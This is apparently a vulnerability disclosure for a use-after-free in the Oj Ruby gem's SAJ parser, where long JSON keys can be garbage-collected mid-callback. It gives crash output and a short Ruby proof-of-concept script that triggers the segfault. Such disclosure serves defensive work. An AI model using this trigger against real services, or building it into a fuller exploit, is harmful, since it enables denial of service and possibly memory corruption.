Oj: Use-After-Free in Oj::Parser SAJ Long Key Callback

Summary

Oj::Parser in SAJ mode does not protect cached object keys (≥ 35 bytes) from garbage collection. A Ruby callback that triggers GC inside hash_end can cause the key string to be reclaimed while the C parser still holds a pointer to it. The subsequent access to the freed string VALUE results in a segfault, confirmed by an RIP pointing to address 0x4242 (a canary-style pattern suggesting control over the freed memory's content).

Version

• Software: oj gem
• Affected: all versions with ext/oj/saj2.c / ext/oj/parser.c
• Latest tested: 3.17.1 (confirmed present)

Details

Short keys (≤ 34 bytes) are stored inline on the C stack and are safe. Long keys (≥ 35 bytes) are stored as heap-allocated Ruby String objects passed to rb_funcall as the key argument. Between the key being resolved and the callback completing, a GC triggered inside the callback (e.g. GC.start) can collect the key String, leaving a dangling VALUE.

Crash output:

long_key_trigger
[BUG] Segmentation fault at 0x0000000000004242
    close_object+0x260    /ext/oj/usual.c:405  (calls rb_funcall with freed key)
    parse+0x11ff          /ext/oj/parser.c:693
    parser_parse+0x145    /ext/oj/parser.c:1408

RIP: 0x7fd1b46d68b7  RDI: 0x0000000000004242  (freed key VALUE)
R12: 0x0000000000004242

The freed VALUE 0x4242 shows the attacker-controlled content of the key string was loaded as a pointer — a classic use-after-free indicator.

Reproduce

require 'oj'

class H < Oj::Saj
  def add_value(value, key)
    GC.start(full_mark: true, immediate_sweep: true) if key == 'x'
  end
  def hash_start(key); end
  def hash_end(key); end
end

p = Oj::Parser.new(:saj)
p.handler = H.new
p.parse('{"' + 'A' * 35 + '":{"x":1}}')  # long outer key, GC fires on inner key